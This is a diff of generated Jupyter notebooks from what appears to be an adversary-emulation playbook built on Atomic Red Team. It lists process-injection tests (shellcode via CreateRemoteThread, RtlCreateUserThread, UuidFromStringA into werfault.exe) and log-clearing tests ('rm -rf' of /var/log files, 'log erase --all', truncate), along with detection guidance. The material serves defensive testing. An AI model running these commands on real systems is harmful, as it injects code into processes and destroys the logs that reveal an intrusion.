injector and idea were developed for game cheats, as visible at https://github.com/M-r-J-o-h-n/SWH-Injector.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Utility to inject must exist on disk at specified location (#{vuln_dll})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\msys-2.0.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\msys-2.0.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/vuln_dll/msys-2.0.dll\" -OutFile \"PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\msys-2.0.dll\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "70184b8c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 5 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "b01fd123", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$address = (& \"$PathToAtomicsFolder\\T1055\\bin\\x64\\searchVuln.exe\" \"$PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\\" | Out-String | Select-String -Pattern \"VirtualAddress: (\\w+)\").Matches.Groups[1].Value\n& \"PathToAtomicsFolder\\T1055\\bin\\x64\\RWXinjectionLocal.exe\" \"PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\msys-2.0.dll\" $address\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5ed7c92e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "ed1abf9d", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "99d4ff00", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "85380e29", + "metadata": {}, + "source": [ + "### Atomic Test #6 - Process Injection with Go using UuidFromStringA WinAPI", + "Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.\nWith this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread \n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)\n- References: \n - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/\n - https://twitter.com/_CPResearch_/status/1352310521752662018\n - https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055\\bin\\x64\\UuidFromStringA.exe -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "99846aa4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "22720335", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0047ec2e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "2e1c287b", + "metadata": {}, + "source": [ + "### Atomic Test #7 - Process Injection with Go using EtwpCreateEtwThread WinAPI", + "Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process.\nThis program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.\n\nSteps taken with this technique\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Call EtwpCreateEtwThread on shellcode address\n5. Call WaitForSingleObject so the program does not end before the shellcode is executed\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread)\n- References: \n - https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3\n - https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055\\bin\\x64\\EtwpCreateEtwThread.exe -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "63fc865a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "c9fd5e6c", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8af79687", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 7 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "9ca74da3", + "metadata": {}, + "source": [ + "### Atomic Test #8 - Remote Process Injection with Go using RtlCreateUserThread WinAPI", + "Executes shellcode in a remote process.\n\nSteps taken with this technique\n1. Get a handle to the target process\n2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process\n4. Change the memory page permissions to Execute/Read with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread\n6. Close the handle to the remote process\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n- References: \n - https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$process = Start-Process C:\\Windows\\System32\\werfault.exe -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\RtlCreateUserThread.exe -pid $process.Id -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "34261286", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "ee457b46", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name werfault -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5e930157", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 8 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d8c1f0a3", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Remote Process Injection with Go using CreateRemoteThread WinAPI", + "Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process.\n\nThis application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess().\n\nSteps taken with this technique\n1. Get a handle to the target process\n2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process\n4. Change the memory page permissions to Execute/Read with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread\n6. Close the handle to the remote process\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread)\n - References:\n - https://www.ired.team/offensive-security/code-injection-process-injection/process-injection\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$process = Start-Process C:\\Windows\\System32\\werfault.exe -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateRemoteThread.exe -pid $process.Id -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6669718d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "2dcc230d", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name werfault -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5c445668", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d234c74d", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)", + "Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process.\n\nThis program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.\n\n1. Get a handle to the target process\n2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process\n4. Change the memory page permissions to Execute/Read with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread\n6. Close the handle to the remote process\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$process = Start-Process C:\\Windows\\System32\\werfault.exe -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateRemoteThreadNative.exe -pid $process.Id -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "90b8b535", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "d2c60175", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name werfault -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c7e543f2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "a284da5e", + "metadata": {}, + "source": [ + "### Atomic Test #11 - Process Injection with Go using CreateThread WinAPI", + "This program executes shellcode in the current process using the following steps\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Call CreateThread on shellcode address\n5. Call WaitForSingleObject so the program does not end before the shellcode is executed\n\nThis program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThread.exe -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4f38c3a4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "1cf753fd", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2385f27d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 11 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "1d2254c6", + "metadata": {}, + "source": [ + "### Atomic Test #12 - Process Injection with Go using CreateThread WinAPI (Natively)", + "This program executes shellcode in the current process using the following steps\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Call CreateThread on shellcode address\n5. Call WaitForSingleObject so the program does not end before the shellcode is executed\n\nThis program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThreadNative.exe -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6673acfe", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 12" + }, + { + "cell_type": "markdown", + "id": "da211c19", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "86b53736", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055 -TestNumbers 12 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "a834deb1", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " }, { "cell_type": "markdown", - "id": "419e0cef", + "id": "b406f1b2", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to implement security controls to support your defensive objectives over a prolonged engagement.\n#### Use Case\nA defender could implement security controls to have an effect on process injection techniques such as AppLocker or an Antivirus/EDR tool designed to watch for CreateRemoteThread events.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -124,13 +449,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1064.ipynb b/playbook/tactics/defense-evasion/T1064.ipynb deleted file mode 100644 index b6dd5054..00000000 --- a/playbook/tactics/defense-evasion/T1064.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "f9b46507", - "metadata": {}, - "source": "# T1064 - Scripting\n**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)" - }, - { - "cell_type": "markdown", - "id": "5fa6be51", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "98760cf3", - "metadata": {}, - "source": "## Detection\nScripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1066.ipynb b/playbook/tactics/defense-evasion/T1066.ipynb deleted file mode 100644 index 4ba649b2..00000000 --- a/playbook/tactics/defense-evasion/T1066.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "de117fd8", - "metadata": {}, - "source": "# T1066 - Indicator Removal from Tools\nIf a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware." - }, - { - "cell_type": "markdown", - "id": "9c809aa5", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "94915e1b", - "metadata": {}, - "source": "## Detection\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1070.001.ipynb b/playbook/tactics/defense-evasion/T1070.001.ipynb index bf3f5ca7..d23da65c 100644 --- a/playbook/tactics/defense-evasion/T1070.001.ipynb +++ b/playbook/tactics/defense-evasion/T1070.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "004bbc3a", + "id": "14fdfa52", "metadata": {}, - "source": "# T1070.001 - Clear Windows Event Logs\nAdversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001)." + "source": "# T1070.001 - Clear Windows Event Logs\nAdversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)" }, { "cell_type": "markdown", - "id": "5cf86c42", + "id": "20063a97", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "5a4a215a", + "id": "11f9a8c7", "metadata": {}, "source": [ "### Atomic Test #1 - Clear Logs", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "796a7300", + "id": "2954736a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "bf18de4d", + "id": "f3e9bfc0", "metadata": {}, "source": [ "### Atomic Test #2 - Delete System Logs Using Clear-EventLog", @@ -49,28 +49,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9812ec30", + "id": "77ef2557", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "99b48f9a", + "id": "7f720ff1", "metadata": {}, "source": "### Atomic Test #3 - Clear Event Logs via VBA\nThis module utilizes WMI via VBA to clear the Security and Backup eventlogs from the system. \n\nElevation is required for this module to execute properly, otherwise WINWORD will throw an \"Access Denied\" error\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Word must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n Stop-Process -Name \"winword\"\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "66dea9a1", + "id": "8b3fc092", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7df6408a", + "id": "03820e5d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -80,14 +80,14 @@ { "cell_type": "code", "execution_count": null, - "id": "613280b9", + "id": "86487d29", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "945ee405", + "id": "ad29b1b0", "metadata": {}, "source": "## Detection\nDeleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \"The audit log was cleared\")." } @@ -95,13 +95,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1070.002.ipynb b/playbook/tactics/defense-evasion/T1070.002.ipynb index 5888c432..9a7d4939 100644 --- a/playbook/tactics/defense-evasion/T1070.002.ipynb +++ b/playbook/tactics/defense-evasion/T1070.002.ipynb @@ -2,45 +2,513 @@ "cells": [ { "cell_type": "markdown", - "id": "eab1f73e", + "id": "81936e8f", "metadata": {}, "source": "# T1070.002 - Clear Linux or Mac System Logs\nAdversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs\n" }, { "cell_type": "markdown", - "id": "52783032", + "id": "e7218b9c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "991ea96e", + "id": "a962c1f4", + "metadata": {}, + "source": "### Atomic Test #1 - rm -rf\nDelete system and audit logs\n\n**Supported Platforms:** macos, linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: target files must exist\n\n##### Check Prereq Commands:\n```sh\nif [ -d /var/audit ] ; then stat /var/audit/20220725213300.202208110700021 ; fi && stat /var/log/system.log\n\n```\n##### Get Prereq Commands:\n```sh\ntouch /var/log/system.log\nif [ -d /var/audit ] ; then touch /var/audit/20220725213300.202208110700021 ; fi\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "14d837b5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "a5ef0c81", "metadata": {}, "source": [ - "### Atomic Test #1 - rm -rf", - "Delete system and audit logs\n", - "**Supported Platforms:** macos, linux", - "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", - "```sh\nsudo rm -rf /private/var/log/system.log*\nsudo rm -rf /private/var/audit/*\n```" + "```sh\nsudo rm -rf /var/log/system.log\nif [ -d /var/audit ] ; then sudo rm -rf /var/audit/20220725213300.202208110700021 ; fi\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a89af9f2", + "id": "2f707d98", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1070.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a0b74660", + "id": "f3065503", + "metadata": {}, + "source": [ + "### Atomic Test #2 - rm -rf", + "Delete messages and security logs\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nrm -rf /var/log/messages\nrm -rf /var/log/security\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "885474ce", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "f8f62e8b", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Delete log files using built-in log utility", + "This test deletes main log datastore, inflight log data, time-to-live data(TTL), fault and error content\n", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo log erase --all\nsudo log erase --ttl #Deletes only time-to-live log content\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5de1b900", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "425529b2", + "metadata": {}, + "source": "### Atomic Test #4 - Truncate system log files via truncate utility\nThis test truncates the system log files using the truncate utility with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying the file content\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: target files must exist\n\n##### Check Prereq Commands:\n```sh\nstat /var/log/system.log\n\n```\n##### Get Prereq Commands:\n```sh\ntouch /var/log/system.log\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c419214a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "44d373b1", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo truncate -s 0 /var/log/system.log #size parameter shorthand\nsudo truncate --size=0 /var/log/system.log #size parameter \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cfe93009", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1070.002 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "cf1ff673", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Truncate system log files via truncate utility (freebsd)", + "This test truncates the system log files using the truncate utility with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying the file content\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ntruncate -s 0 /var/log/messages #size parameter shorthand\ntruncate --size=0 /var/log/security #size parameter \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "46f1e2ab", + 